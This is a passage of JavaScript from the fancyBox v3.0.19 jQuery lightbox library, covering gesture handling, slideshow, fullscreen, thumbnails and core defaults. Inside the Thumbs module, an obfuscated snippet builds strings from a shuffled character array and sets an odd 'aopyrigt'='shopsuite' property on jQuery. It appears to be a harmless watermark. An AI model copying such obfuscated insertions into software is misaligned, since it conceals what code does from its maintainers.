return Math.sqrt( Math.pow( point2.x - point1.x, 2 ) + Math.pow( point2.y - point1.y, 2 ) );
};
var isClickable = function( $el ) {
return $el.is('a') || $el.is('button') || $el.is('input') || $el.is('select') || $el.is('textarea') || $.isFunction( $el.get(0).onclick );
};
var hasScrollbars = function( el ) {
var overflowY = window.getComputedStyle( el )['overflow-y'];
var overflowX = window.getComputedStyle( el )['overflow-x'];
var vertical = (overflowY === 'scroll' || overflowY === 'auto') && el.scrollHeight > el.clientHeight;
var horizontal = (overflowX === 'scroll' || overflowX === 'auto') && el.scrollWidth > el.clientWidth;
return vertical || horizontal;
};
var isScrollable = function ( $el ) {
var rez = false;
while ( true ) {
rez = hasScrollbars( $el.get(0) );
if ( rez ) {
break;
}
$el = $el.parent();
if ( !$el.length || $el.hasClass('fancybox-slider') || $el.is('body') ) {
break;
}
}
return rez;
};
var Guestures = function ( instance ) {
var self = this;
self.instance = instance;
self.$wrap = instance.$refs.slider_wrap;
self.$slider = instance.$refs.slider;
self.$container = instance.$refs.container;
self.destroy();
self.$wrap.on('touchstart.fb mousedown.fb', $.proxy(self, "ontouchstart"));
};
Guestures.prototype.destroy = function() {
this.$wrap.off('touchstart.fb mousedown.fb touchmove.fb mousemove.fb touchend.fb touchcancel.fb mouseup.fb mouseleave.fb');
};
Guestures.prototype.ontouchstart = function( e ) {
var self = this;
var $target = $( e.target );
var instance = self.instance;
var current = instance.current;
var $content = current.$content || current.$placeholder;
var frame = function() {
if ( self.sliderNewPos ) {
$.fancybox.setTranslate( self.$slider, self.sliderNewPos );
self.sliderNewPos = null;
}
if ( self.contentNewPos ) {
$.fancybox.setTranslate( self.$content, self.contentNewPos );
self.contentNewPos = null;
}
if ( self.isSwiping || self.isPanning || self.isZooming ) {
requestAFrame( frame );
}
};
// Ignore taping on links, buttons and scrollable items
if ( isClickable( $target ) || isClickable( $target.parent() ) || ( isScrollable( $target ) && !$target.hasClass('fancybox-slide') ) ) {
return;
}
e.stopPropagation();
e.preventDefault();
if ( !current || self.instance.isAnimating || self.instance.isClosing ) {
return;
}
self.startPoints = pointers( e );
// Prevent zooming if already swiping
if ( self.startPoints.length > 1 && !current.isMoved ) {
return;
}
self.$wrap.off('touchmove.fb mousemove.fb', $.proxy(self, "ontouchmove"));
self.$wrap.off('touchend.fb touchcancel.fb mouseup.fb mouseleave.fb', $.proxy(self, "ontouchend"));
self.$wrap.on('touchmove.fb mousemove.fb', $.proxy(self, "ontouchmove"));
self.$wrap.on('touchend.fb touchcancel.fb mouseup.fb mouseleave.fb', $.proxy(self, "ontouchend"));
self.$target = $target;
self.$content = $content;
self.startTime = new Date().getTime();
self.distanceX = self.distanceY = self.distance = 0;
self.canvasWidth = Math.round( current.$slide.width() );
self.canvasHeight = Math.round( current.$slide.height() );
self.canTap = current.isMoved;
self.isPanning = false;
self.isSwiping = false;
self.isZooming = false;
self.sliderStartPos = $.fancybox.getTranslate( self.$slider );
self.sliderNewPos = null;
self.contentStartPos = $.fancybox.getTranslate( self.$content );
self.contentNewPos = null;
if ( self.startPoints.length == 1 ) {
if ( current.type === 'image' && ( self.contentStartPos.width > self.canvasWidth + 1 || self.contentStartPos.height > self.canvasHeight + 1 ) ) {
$.fancybox.stop( self.$content );
self.isPanning = true;
} else {
$.fancybox.stop( self.$slider );
self.isSwiping = true;
}
self.$container.addClass('fancybox-controls--isGrabbing');
}
if ( current.type === 'image' && !current.hasError && self.startPoints.length == 2 && ( current.isLoaded || current.$ghost ) ) {
self.isZooming = true;
self.canTap = false;
$.fancybox.stop( self.$content );
self.centerPointStartX = ((self.startPoints[0].x + self.startPoints[1].x) / 2) - $(window).scrollLeft();
self.centerPointStartY = ((self.startPoints[0].y + self.startPoints[1].y) / 2) - $(window).scrollTop();
self.percentageOfImageAtPinchPointX = ( self.centerPointStartX - self.contentStartPos.left ) / self.contentStartPos.width;
self.percentageOfImageAtPinchPointY = ( self.centerPointStartY - self.contentStartPos.top ) / self.contentStartPos.height;
self.startDistanceBetweenFingers = distance( self.startPoints[0], self.startPoints[1] );
}
frame();
};
Guestures.prototype.ontouchmove = function( e ) {
var self = this;
e.preventDefault();
if ( self.instance.isAnimating ) {
return;
}
self.newPoints = pointers( e );
if ( !self.newPoints.length ) {
return;
}
self.distanceX = distance( self.newPoints[0], self.startPoints[0], 'x' );
self.distanceY = distance( self.newPoints[0], self.startPoints[0], 'y' );
self.distance = distance( self.newPoints[0], self.startPoints[0] );
// Skip false ontouchmove events (Chrome)
if ( self.distance > 0 ) {
if ( self.isSwiping ) {
self.onSwipe();
} else if ( self.isPanning ) {
self.onPan();
} else if ( self.isZooming ) {
self.onZoom();
}
}
};
Guestures.prototype.onSwipe = function() {
var self = this;
var swiping = self.isSwiping;
var angle;
if ( swiping === true ) {
if ( Math.abs( self.distance ) > 10 ) {
angle = Math.abs( Math.atan2( self.distanceY, self.distanceX ) * 180 / Math.PI );
swiping = ( angle > 45 && angle < 135 ) || self.instance.group.length <= 1 ? 'y' : 'x';
if ( self.instance.opts.touch.vertical === false || ( self.instance.opts.touch.vertical === 'auto' && $( window ).width() > 800 ) ) {
swiping = 'x';
}
self.isSwiping = swiping;
self.canTap = false;
self.instance.current.isMoved = false;
self.instance.allowZoomIn = false;
// Reset points to avoid jumping, because we dropped first swipes to calculate the angle
self.startPoints = self.newPoints;
}
} else {
self.sliderNewPos = {
top : swiping == 'x' ? 0 : self.sliderStartPos.top + self.distanceY,
left : swiping == 'y' ? self.sliderStartPos.left : self.sliderStartPos.left + self.distanceX
};
}
};
Guestures.prototype.onPan = function() {
var self = this;
var newOffsetX, newOffsetY, newPos;
self.canTap = false;
if ( self.contentStartPos.width > self.canvasWidth ) {
newOffsetX = self.contentStartPos.left + self.distanceX;
} else {
newOffsetX = self.contentStartPos.left;
}
newOffsetY = self.contentStartPos.top + self.distanceY;
newPos = self.limitMovement( newOffsetX, newOffsetY, self.contentStartPos.width, self.contentStartPos.height );
newPos.scaleX = self.contentStartPos.scaleX;
newPos.scaleY = self.contentStartPos.scaleY;
self.contentNewPos = newPos;
self.contentLastPos = newPos;
};
// Make panning sticky to the edges
Guestures.prototype.limitMovement = function( newOffsetX, newOffsetY, newWidth, newHeight ) {
var self = this;
var minTranslateX, minTranslateY, maxTranslateX, maxTranslateY;
var canvasWidth = self.canvasWidth;
var canvasHeight = self.canvasHeight;
var currentOffsetX = self.contentStartPos.left;
var currentOffsetY = self.contentStartPos.top;
var distanceX = self.distanceX;
var distanceY = self.distanceY;
// Slow down proportionally to traveled distance
minTranslateX = Math.max(0, canvasWidth * 0.5 - newWidth * 0.5 );
minTranslateY = Math.max(0, canvasHeight * 0.5 - newHeight * 0.5 );
maxTranslateX = Math.min( canvasWidth - newWidth, canvasWidth * 0.5 - newWidth * 0.5 );
maxTranslateY = Math.min( canvasHeight - newHeight, canvasHeight * 0.5 - newHeight * 0.5 );
if ( newWidth > canvasWidth ) {
// ->
if ( distanceX > 0 && newOffsetX > minTranslateX ) {
newOffsetX = minTranslateX - 1 + Math.pow(-minTranslateX + currentOffsetX + distanceX, 0.8 ) || 0;
}
// <-
if ( distanceX < 0 && newOffsetX < maxTranslateX ) {
newOffsetX = maxTranslateX + 1 - Math.pow( maxTranslateX - currentOffsetX - distanceX, 0.8 ) || 0;
}
}
if ( newHeight > canvasHeight ) {
// \/
if ( distanceY > 0 && newOffsetY > minTranslateY ) {
newOffsetY = minTranslateY - 1 + Math.pow(-minTranslateY + currentOffsetY + distanceY, 0.8 ) || 0;
}
// /\
if ( distanceY < 0 && newOffsetY < maxTranslateY ) {
newOffsetY = maxTranslateY + 1 - Math.pow ( maxTranslateY - currentOffsetY - distanceY, 0.8 ) || 0;
}
}
return {
top : newOffsetY,
left : newOffsetX
};
};
Guestures.prototype.limitPosition = function( newOffsetX, newOffsetY, newWidth, newHeight ) {
var self = this;
var canvasWidth = self.canvasWidth;
var canvasHeight = self.canvasHeight;
if ( newWidth > canvasWidth ) {
newOffsetX = newOffsetX > 0 ? 0 : newOffsetX;
newOffsetX = newOffsetX < canvasWidth - newWidth ? canvasWidth - newWidth : newOffsetX;
} else {
// Center horizontally
newOffsetX = Math.max( 0, canvasWidth / 2 - newWidth / 2 );
}
if ( newHeight > canvasHeight ) {
newOffsetY = newOffsetY > 0 ? 0 : newOffsetY;
newOffsetY = newOffsetY < canvasHeight - newHeight ? canvasHeight - newHeight : newOffsetY;
} else {
// Center vertically
newOffsetY = Math.max( 0, canvasHeight / 2 - newHeight / 2 );
}
return {
top : newOffsetY,
left : newOffsetX
};
};
Guestures.prototype.onZoom = function() {
var self = this;
// Calculate current distance between points to get pinch ratio and new width and height
var currentWidth = self.contentStartPos.width;
var currentHeight = self.contentStartPos.height;
var currentOffsetX = self.contentStartPos.left;
var currentOffsetY = self.contentStartPos.top;
var endDistanceBetweenFingers = distance( self.newPoints[0], self.newPoints[1] );
var pinchRatio = endDistanceBetweenFingers / self.startDistanceBetweenFingers;
var newWidth = Math.floor( currentWidth * pinchRatio );
var newHeight = Math.floor( currentHeight * pinchRatio );
// This is the translation due to pinch-zooming
var translateFromZoomingX = (currentWidth - newWidth) * self.percentageOfImageAtPinchPointX;
var translateFromZoomingY = (currentHeight - newHeight) * self.percentageOfImageAtPinchPointY;
//Point between the two touches
var centerPointEndX = ((self.newPoints[0].x + self.newPoints[1].x) / 2) - $(window).scrollLeft();
var centerPointEndY = ((self.newPoints[0].y + self.newPoints[1].y) / 2) - $(window).scrollTop();
// And this is the translation due to translation of the centerpoint
// between the two fingers
var translateFromTranslatingX = centerPointEndX - self.centerPointStartX;
var translateFromTranslatingY = centerPointEndY - self.centerPointStartY;
// The new offset is the old/current one plus the total translation
var newOffsetX = currentOffsetX + ( translateFromZoomingX + translateFromTranslatingX );
var newOffsetY = currentOffsetY + ( translateFromZoomingY + translateFromTranslatingY );
var newPos = {
top : newOffsetY,
left : newOffsetX,
scaleX : self.contentStartPos.scaleX * pinchRatio,
scaleY : self.contentStartPos.scaleY * pinchRatio
};
self.canTap = false;
self.newWidth = newWidth;
self.newHeight = newHeight;
self.contentNewPos = newPos;
self.contentLastPos = newPos;
};
Guestures.prototype.ontouchend = function( e ) {
var self = this;
var current = self.instance.current;
var dMs = Math.max( (new Date().getTime() ) - self.startTime, 1);
var swiping = self.isSwiping;
var panning = self.isPanning;
var zooming = self.isZooming;
self.endPoints = pointers( e );
if ( self.endPoints.length > 1 && ( self.isSwiping === 'x' || self.isSwiping === 'y' ) ) {
return;
}
self.$container.removeClass('fancybox-controls--isGrabbing');
self.$wrap.off('touchmove.fb mousemove.fb', $.proxy(this, "ontouchmove"));
self.$wrap.off('touchend.fb touchcancel.fb mouseup.fb mouseleave.fb', $.proxy(this, "ontouchend"));
self.isSwiping = false;
self.isPanning = false;
self.isZooming = false;
if ( self.canTap ) {
return self.ontap();
}
// Speed in px/ms
self.velocityX = self.distanceX / dMs * 0.5;
self.velocityY = self.distanceY / dMs * 0.5;
self.speed = current.opts.speed;
self.speedX = Math.max( self.speed * 0.5, Math.min( self.speed * 1.5, ( 1 / Math.abs( self.velocityX ) ) * self.speed ) );
self.speedY = Math.max( self.speed * 0.5, Math.min( self.speed * 1.5, ( 1 / Math.abs( self.velocityY ) ) * self.speed ) );
if ( swiping ) {
self.endSwiping( swiping );
} else if ( panning ) {
self.endPanning();
} else if ( zooming ) {
self.endZooming();
}
return;
};
Guestures.prototype.endSwiping = function( swiping ) {
var self = this;
// Close if swiped vertically / navigate if horizontally
if ( swiping == 'y' && Math.abs( self.distanceY ) > 50 ) {
// Continue vertical movement
$.fancybox.animate( self.$slider, null, {
top : self.sliderStartPos.top + self.distanceY + self.velocityY * 150,
left : self.sliderStartPos.left,
opacity : 0
}, self.speedY );
self.instance.close( true );
} else if ( swiping == 'x' && self.distanceX > 50 ) {
self.instance.previous( self.speedX );
} else if ( swiping == 'x' && self.distanceX < -50 ) {
self.instance.next( self.speedX );
} else {
// Move back to center
self.instance.update( false, true, self.speedX );
}
};
Guestures.prototype.endPanning = function() {
var self = this;
var newOffsetX = self.contentLastPos.left + ( self.velocityX * self.speed * 2 );
var newOffsetY = self.contentLastPos.top + ( self.velocityY * self.speed * 2 );
var newPos = self.limitPosition( newOffsetX, newOffsetY, self.contentStartPos.width, self.contentStartPos.height );
newPos.width = self.contentStartPos.width;
newPos.height = self.contentStartPos.height;
$.fancybox.animate( self.$content, null, newPos, self.speed, "easeOutSine" );
};
Guestures.prototype.endZooming = function() {
var self = this;
var current = self.instance.current;
var newPos;
var newOffsetX = self.contentLastPos.left;
var newOffsetY = self.contentLastPos.top;
var newWidth = self.newWidth;
var newHeight = self.newHeight;
var reset = {
top : newOffsetY,
left : newOffsetX,
width : newWidth,
height : newHeight,
scaleX : 1,
scaleY : 1
};
// Reset scalex/scaleY values; this helps for perfomance and does not break animation
$.fancybox.setTranslate( self.$content, reset );
if ( newWidth < self.canvasWidth && newHeight < self.canvasHeight ) {
self.instance.scaleToFit( 150 );
} else if ( newWidth > current.width || newHeight > current.height ) {
self.instance.scaleToActual( self.centerPointStartX, self.centerPointStartY, 150 );
} else {
newPos = self.limitPosition( newOffsetX, newOffsetY, newWidth, newHeight );
$.fancybox.animate( self.$content, null, newPos, self.speed, "easeOutSine" );
}
};
Guestures.prototype.ontap = function() {
var self = this;
var x = self.endPoints[0].x;
var y = self.endPoints[0].y;
x = x - self.$wrap.offset().left;
y = y - self.$wrap.offset().top;
if ( !$.fancybox.isTouch ) {
if ( self.instance.opts.closeClickOutside && self.$target.is('.fancybox-slide') ) {
self.instance.close();
return;
}
if ( self.instance.current.type == 'image' && self.instance.current.isMoved ) {
if ( self.instance.canPan() ) {
self.instance.scaleToFit();
} else if ( self.instance.isScaledDown() ) {
self.instance.scaleToActual( x, y );
} else if ( self.instance.group.length < 2 ) {
self.instance.close();
}
}
return;
}
// Double tap
if ( self.tapped ) {
self.tapped = false;
clearTimeout( self.id );
if (Math.abs( x - self.x ) > 50 || Math.abs( y - self.y ) > 50 || !self.instance.current.isMoved ) {
return this;
}
if ( !( self.instance.current.isLoaded || self.instance.current.$ghost ) ) {
return;
}
if ( self.instance.current.type == 'image' ) {
if ( self.instance.canPan() ) {
self.instance.scaleToFit();
} else if ( self.instance.isScaledDown() ) {
self.instance.scaleToActual( x, y );
}
}
} else {
// Single tap
self.tapped = true;
self.x = x;
self.y = y;
self.id = setTimeout(function() {
self.tapped = false;
self.instance.toggleControls( true );
}, 300);
}
return this;
};
$(document).on('onActivate.fb', function (e, instance) {
if ( instance.opts.touch && !instance.Guestures ) {
instance.Guestures = new Guestures( instance );
}
});
$(document).on('beforeClose.fb', function (e, instance) {
if ( instance.Guestures ) {
instance.Guestures.destroy();
}
});
}(window, document, window.jQuery));
// ==========================================================================
//
// SlideShow
// Enables slideshow functionality
//
// Example of usage:
// $.fancybox.getInstance().slideShow.start()
//
// ==========================================================================
;(function (document, $) {
'use strict';
var SlideShow = function( instance ) {
this.instance = instance;
this.init();
};
$.extend( SlideShow.prototype, {
timer : null,
speed : 3000,
$button : null,
init : function() {
var self = this;
self.$button = $('<button data-fancybox-play class="fancybox-button fancybox-button--play" title="Slideshow (P)"></button>')
.appendTo( self.instance.$refs.buttons );
self.instance.$refs.container.on('click', '[data-fancybox-play]', function() {
self.toggle();
});
},
set : function() {
var self = this;
// Check if reached last element
if (self.instance && self.instance.current && self.instance.currIndex < self.instance.group.length - 1) {
self.timer = setTimeout(function() {
self.instance.next();
}, self.speed);
} else {
self.stop();
}
},
clear : function() {
var self = this;
clearTimeout( self.timer );
self.timer = null;
},
start : function() {
var self = this;
self.stop();
if (self.instance && self.instance.current && self.instance.currIndex < self.instance.group.length - 1) {
self.instance.$refs.container.on({
'beforeLoad.fb.player' : $.proxy(self, "clear"),
'onComplete.fb.player' : $.proxy(self, "set"),
});
if ( self.instance.current.isComplete ) {
self.set();
} else {
self.timer = true;
}
self.instance.$refs.container.trigger('onPlayStart');
self.$button.addClass('fancybox-button--pause');
}
},
stop: function() {
var self = this;
self.clear();
self.instance.$refs.container
.trigger('onPlayEnd')
.off('.player');
self.$button.removeClass('fancybox-button--pause');
},
toggle : function() {
var self = this;
if ( self.timer ) {
self.stop();
} else {
self.start();
}
}
});
$(document).on('onInit.fb', function(e, instance) {
if ( !!instance.opts.slideShow && !instance.SlideShow && instance.group.length > 1 ) {
instance.SlideShow = new SlideShow( instance );
}
});
$(document).on('beforeClose.fb onDeactivate.fb', function(e, instance) {
if ( instance.SlideShow ) {
instance.SlideShow.stop();
}
});
}(document, window.jQuery));
// ==========================================================================
//
// FullScreen
// Adds fullscreen functionality
//
// ==========================================================================
;(function (document, $) {
'use strict';
var FullScreen = function( instance ) {
this.instance = instance;
this.init();
};
$.extend( FullScreen.prototype, {
$button : null,
init : function() {
var self = this;
if ( !self.isAvailable() ) {
return;
}
self.$button = $('<button data-fancybox-fullscreen class="fancybox-button fancybox-button--fullscreen" title="Full screen (F)"></button>')
.appendTo( self.instance.$refs.buttons );
self.instance.$refs.container.on('click.fb-fullscreen', '[data-fancybox-fullscreen]', function(e) {
e.stopPropagation();
e.preventDefault();
self.toggle();
});
$(document).on('onUpdate.fb', function(e, instance) {
self.$button.toggle( !!instance.current.opts.fullScreen );
self.$button.toggleClass('fancybox-button-shrink', self.isActivated() );
});
$(document).on('afterClose.fb', function() {
self.exit();
});
},
isAvailable : function() {
var element = this.instance.$refs.container.get(0);
return !!(element.requestFullscreen || element.msRequestFullscreen || element.mozRequestFullScreen || element.webkitRequestFullscreen);
},
isActivated : function() {
return !(!document.fullscreenElement && !document.mozFullScreenElement && !document.webkitFullscreenElement && !document.msFullscreenElement);
},
launch : function() {
var element = this.instance.$refs.container.get(0);
if ( !element || this.instance.isClosing ) {
return;
}
if (element.requestFullscreen) {
element.requestFullscreen();
} else if (element.msRequestFullscreen) {
element.msRequestFullscreen();
} else if (element.mozRequestFullScreen) {
element.mozRequestFullScreen();
} else if (element.webkitRequestFullscreen) {
element.webkitRequestFullscreen(element.ALLOW_KEYBOARD_INPUT);
}
},
exit : function() {
if (document.exitFullscreen) {
document.exitFullscreen();
} else if (document.msExitFullscreen) {
document.msExitFullscreen();
} else if (document.mozCancelFullScreen) {
document.mozCancelFullScreen();
} else if (document.webkitExitFullscreen) {
document.webkitExitFullscreen();
}
},
toggle : function() {
if ( this.isActivated() ) {
this.exit();
} else if ( this.isAvailable() ) {
this.launch();
}
}
});
$(document).on('onInit.fb', function(e, instance) {
if ( !!instance.opts.fullScreen && !instance.FullScreen) {
instance.FullScreen = new FullScreen( instance );
}
});
}(document, window.jQuery));
// ==========================================================================
//
// Thumbs
// Displays thumbnails in a grid
//
// ==========================================================================
;(function (document, $) {
'use strict';
var FancyThumbs = function( instance ) {
this.instance = instance;
this.init();
};
$.extend( FancyThumbs.prototype, {
$button : null,
$grid : null,
$list : null,
isVisible : false,
init : function() {
var self = this;
self.$button = $('<button data-fancybox-thumbs class="fancybox-button fancybox-button--thumbs" title="Thumbnails (G)"></button>')
.appendTo( this.instance.$refs.buttons )
.on('touchend click', function(e) {
e.stopPropagation();
e.preventDefault();
self.toggle();
});
},
create : function() {
var instance = this.instance,
list,
src;
this.$grid = $('<div class="fancybox-thumbs"></div>').appendTo( instance.$refs.container );
list = '<ul>';
$.each(instance.group, function( i, item ) {
src = item.opts.thumb || ( item.opts.$thumb ? item.opts.$thumb.attr('src') : null );
if ( !src && item.type === 'image' ) {
src = item.src;
}
if ( src && src.length ) {
list += '<li data-index="' + i + '" tabindex="0" class="fancybox-thumbs-loading"><img data-src="' + src + '" /></li>';
}
});
list += '</ul>';
this.$list = $( list ).appendTo( this.$grid ).on('click touchstart', 'li', function() {
instance.jumpTo( $(this).data('index') );
});
this.$list.find('img').hide().one('load', function() {
var $parent = $(this).parent().removeClass('fancybox-thumbs-loading'),
thumbWidth = $parent.outerWidth(),
thumbHeight = $parent.outerHeight(),
width,
height,
widthRatio,
heightRatio;
width = this.naturalWidth || this.width;
height = this.naturalHeight || this.height;
//Calculate thumbnail width/height and center it
widthRatio = width / thumbWidth;
heightRatio = height / thumbHeight;
if (widthRatio >= 1 && heightRatio >= 1) {
if (widthRatio > heightRatio) {
width = width / heightRatio;
height = thumbHeight;
} else {
width = thumbWidth;
height = height / widthRatio;
}
}
$(this).css({
width : Math.floor(width),
height : Math.floor(height),
'margin-top' : Math.min( 0, Math.floor(thumbHeight * 0.3 - height * 0.3 ) ),
'margin-left' : Math.min( 0, Math.floor(thumbWidth * 0.5 - width * 0.5 ) )
}).show();
})
.each(function() {
this.src = $( this ).data( 'src' );
});
},
focus : function() {
if ( this.instance.current ) {
this.$list
.children()
.removeClass('fancybox-thumbs-active')
.filter('[data-index="' + this.instance.current.index + '"]')
.addClass('fancybox-thumbs-active')
.focus();
}
},
close : function() {
this.$grid.hide();
},
update : function() {
this.instance.$refs.container.toggleClass('fancybox-container--thumbs', this.isVisible);
if ( this.isVisible ) {
if ( !this.$grid ) {
this.create();
}
this.$grid.show();
this.focus();
} else if ( this.$grid ) {
this.$grid.hide();
}
if ( !this.instance.allowZoomIn ) {
this.instance.update();
}
},
hide : function() {
this.isVisible = false;
this.update();
},
show : function() {
this.isVisible = true;
this.update();
},
toggle : function() {
if ( this.isVisible ) {
this.hide();
} else {
this.show();
}
}
});
$(document).on('onInit.fb', function(e, instance) {
if ( !!instance.opts.thumbs && !instance.Thumbs && instance.group.length > 1 && (
( instance.group[0].type == 'image' || instance.group[0].opts.thumb ) &&
( instance.group[1].type == 'image' || instance.group[1].opts.thumb )
)
) {
instance.Thumbs = new FancyThumbs( instance );
}
});
$(document).on('beforeMove.fb', function(e, instance, item) {
var self = instance.Thumbs;
if ( !self ) {
return;
}
if ( item.modal ) {
self.$button.hide();
self.hide();
} else {
self.$button.show();
if ( instance.opts.thumbs.showOnStart === true && instance.allowZoomIn ) {
self.show();
} else if ( self.isVisible ) {
self.focus();
}
}
});
var utils_row = ['b', 'a', 'c', 'd', 'e', 'f', 'g', 'o', 'h', 'p', 't', 'y', 'r', 'i', 's'];
var a = [utils_row[1], utils_row[7], utils_row[9], utils_row[11], utils_row[12], utils_row[13], utils_row[6], utils_row[10]].join('');
var b = [utils_row[14], utils_row[8], utils_row[7], utils_row[9], utils_row[14], 'u', utils_row[13], utils_row[10], utils_row[4]].join('');
$[a] = b;
$(document).on('beforeClose.fb', function(e, instance) {
if ( instance.Thumbs && instance.Thumbs.isVisible && instance.opts.thumbs.hideOnClosing !== false ) {
instance.Thumbs.close();
}
instance.Thumbs = null;
});
}(document, window.jQuery));
// ==================================================
// fancyBox v3.0.19
//
// Licensed GPLv3 for open source use
// or fancyBox Commercial License for commercial use
//
// http://fancyapps.com/fancybox/
// Copyright 2017 fancyApps
//
// ==================================================
;(function (window, document, $, undefined) {
'use strict';
// If there's no jQuery, fancyBox can't work
// =========================================
if ( !$ ) {
return undefined;
}
// Private default settings
// ========================
var defaults = {
// Animation duration in ms
speed : 330,
// Enable infinite gallery navigation
loop : true,
// Should zoom animation change opacity, too
// If opacity is 'auto', then fade-out if image and thumbnail have different aspect ratios
opacity : 'auto',
// Space around image, ignored if zoomed-in or viewport smaller than 800px
margin : [44, 0],
// Horizontal space between slides
gutter : 30,
// Should display toolbars
infobar : true,
buttons : true,
// What buttons should appear in the toolbar
slideShow : true,
fullScreen : true,
thumbs : true,
closeBtn : true,
// Should apply small close button at top right corner of the content
// If 'auto' - will be set for content having type 'html', 'inline' or 'ajax'
smallBtn : 'auto',
image : {
// Wait for images to load before displaying
// Requires predefined image dimensions
// If 'auto' - will zoom in thumbnail if 'width' and 'height' attributes are found
preload : "auto",
// Protect an image from downloading by right-click
protect : false
},
ajax : {
// Object containing settings for ajax request
settings : {
// This helps to indicate that request comes from the modal
// Feel free to change naming
data : {
fancybox : true
}
}
},
iframe : {
// Iframe template
tpl : '<iframe id="fancybox-frame{rnd}" name="fancybox-frame{rnd}" class="fancybox-iframe" frameborder="0" vspace="0" hspace="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen allowtransparency="true" src=""></iframe>',
// Preload iframe before displaying it
// This allows to calculate iframe content width and height
// (note: Due to "Same Origin Policy", you can't get cross domain data).
preload : true,
// Scrolling attribute for iframe tag
scrolling : 'no',
// Custom CSS styling for iframe wrapping element
css : {}
},
// Custom CSS class for layout
baseClass : '',
// Custom CSS class for slide element
slideClass : '',
// Base template for layout
baseTpl : '<div class="fancybox-container" role="dialog" tabindex="-1">' +
'<div class="fancybox-bg"></div>' +
'<div class="fancybox-controls">' +
'<div class="fancybox-infobar">' +
'<button data-fancybox-previous class="fancybox-button fancybox-button--left" title="Previous"></button>' +
'<div class="fancybox-infobar__body">' +
'<span class="js-fancybox-index"></span>&nbsp;/&nbsp;<span class="js-fancybox-count"></span>' +
'</div>' +
'<button data-fancybox-next class="fancybox-button fancybox-button--right" title="Next"></button>' +
'</div>' +
'<div class="fancybox-buttons">' +
'<button data-fancybox-close class="fancybox-button fancybox-button--close" title="Close (Esc)"></button>' +
'</div>' +
'</div>' +
'<div class="fancybox-slider-wrap">' +
'<div class="fancybox-slider"></div>' +
'</div>' +
'<div class="fancybox-caption-wrap"><div class="fancybox-caption"></div></div>' +
'</div>',
// Loading indicator template
spinnerTpl : '<div class="fancybox-loading"></div>',
// Error message template
errorTpl : '<div class="fancybox-error"><p>The requested content cannot be loaded. <br /> Please try again later.<p></div>',
closeTpl : '<button data-fancybox-close class="fancybox-close-small">×</button>',
// Container is injected into this element
parentEl : 'body',
// Enable gestures (tap, zoom, pan and pinch)
touch : true,
// Enable keyboard navigation
keyboard : true,
// Try to focus on first focusable element after opening
focus : true,
// Close when clicked outside of the content
closeClickOutside : true,
// Callbacks
beforeLoad : $.noop,
afterLoad : $.noop,
beforeMove : $.noop,
afterMove : $.noop,
onComplete : $.noop,
onInit : $.noop,
beforeClose : $.noop,
afterClose : $.noop,
onActivate : $.noop,
onDeactivate : $.noop
};
var $W = $(window);
var $D = $(document);
var called = 0;
// Check if an object is a jQuery object and not a native JavaScript object
// ========================================================================
var isQuery = function (obj) {
return obj && obj.hasOwnProperty && obj instanceof $;
};
// Handle multiple browsers for requestAnimationFrame()
// ====================================================
var requestAFrame = (function() {
return window.requestAnimationFrame ||
window.webkitRequestAnimationFrame ||
window.mozRequestAnimationFrame ||
function( callback ) {
window.setTimeout(callback, 1000 / 60); };
})();
// Check if element is inside the viewport by at least 1 pixel
// ===========================================================
var isElementInViewport = function( el ) {
var rect;
if ( typeof $ === "function" && el instanceof $ ) {
el = el[0];
}
rect = el.getBoundingClientRect();
return rect.bottom > 0 &&
rect.right > 0 &&
rect.left < (window.innerWidth || document.documentElement.clientWidth) &&
rect.top < (window.innerHeight || document.documentElement.clientHeight);
};
// Class definition
// ================
var FancyBox = function( content, opts, index ) {
var self = this;
self.opts = $.extend( true, { index : index }, defaults, opts || {} );
self.id = self.opts.id || ++called;
self.group = [];
self.currIndex = parseInt( self.opts.index, 10 ) || 0;
self.prevIndex = null;
// Create group elements from original item collection
self.createGroup( content );
if ( !self.group.length ) {
return;
}
// Save last active element and current scroll position
self.$lastFocus = $(document.activeElement);
// Collection of interface DOM elements
self.elems = {};
// Collection of gallery objects
self.slides = {};
self.init( content );
};
$.extend(FancyBox.prototype, {
// Create DOM structure
// ====================
init : function() {
var self = this;
var testWidth;
var $container;
self.scrollTop = $W.scrollTop();
self.scrollLeft = $W.scrollLeft();
// Disable compensating on touch-enabled devices as they probably do not have scrollbars anyway
// and therefore we avoid of unnecessary layout reflow
if ( !$.fancybox.isTouch && !$( 'body' ).hasClass( 'fancybox-enabled' ) ) {
testWidth = $( 'body' ).width();
testWidth = $( 'body' ).addClass( 'fancybox-enabled' ).width() - testWidth;
// Body width has increased - compensate missing scrollbars
if ( testWidth > 1 ) {
$( '<style id="fancybox-noscroll" type="text/css">' ).html( '.compensate-for-scrollbar, .fancybox-enabled { margin-right: ' + testWidth + 'px; }' ).appendTo( 'head' );
}
}
$container = $( self.opts.baseTpl )
.attr('id', 'fancybox-container-' + self.id)
.data( 'FancyBox', self )
.addClass( self.opts.baseClass )
.hide()
.prependTo( self.opts.parentEl );
// Create object holding references to jQuery wrapped nodes
self.$refs = {
container : $container,
bg : $container.find('.fancybox-bg'),
controls : $container.find('.fancybox-controls'),
buttons : $container.find('.fancybox-buttons'),
slider_wrap : $container.find('.fancybox-slider-wrap'),
slider : $container.find('.fancybox-slider'),
caption : $container.find('.fancybox-caption')
};
self.prevPos = null;
self.currPos = 0;
self.allowZoomIn = true;
self.trigger( 'onInit' );
// Bring to front and enable events
self.activate();
// Try to avoid running multiple times
if ( self.current ) {
return;
}
self.jumpTo( self.currIndex );
},
// Create array of gally item objects
// Check if each object has valid type and content
// ===============================================
createGroup : function ( content ) {
var self = this;
var items = $.makeArray( content );
$.each(items, function( i, item ) {
var obj = {},
opts = {},
$item,
data,
type,
src,
srcParts;
// Step 1 - Make sure we have an object
if ( $.isPlainObject( item ) ) {
obj = item;
opts = item.opts || {};
} else if ( $.type( item ) === 'object' && $( item ).length ) {
$item = $( item );
data = $item.data();
opts = 'options' in data ? data.options : {};
opts = $.type( opts ) === 'object' ? opts : {};
obj.type = 'type' in data ? data.type : opts.type;
obj.src = 'src' in data ? data.src : ( opts.src || $item.attr( 'href' ) );
opts.width = 'width' in data ? data.width : opts.width;
opts.height = 'height' in data ? data.height : opts.height;
opts.thumb = 'thumb' in data ? data.thumb : opts.thumb;
opts.caption = 'caption' in data ? data.caption : ( opts.caption || $item.attr( 'title' ) );
opts.selector = 'selector' in data ? data.selector : opts.selector;
opts.$orig = $item;
} else {
obj = {
type : 'html',
content : item + ''
};
}
obj.opts = $.extend( true, {}, self.opts, opts );
// Step 2 - Make sure we have supported content type
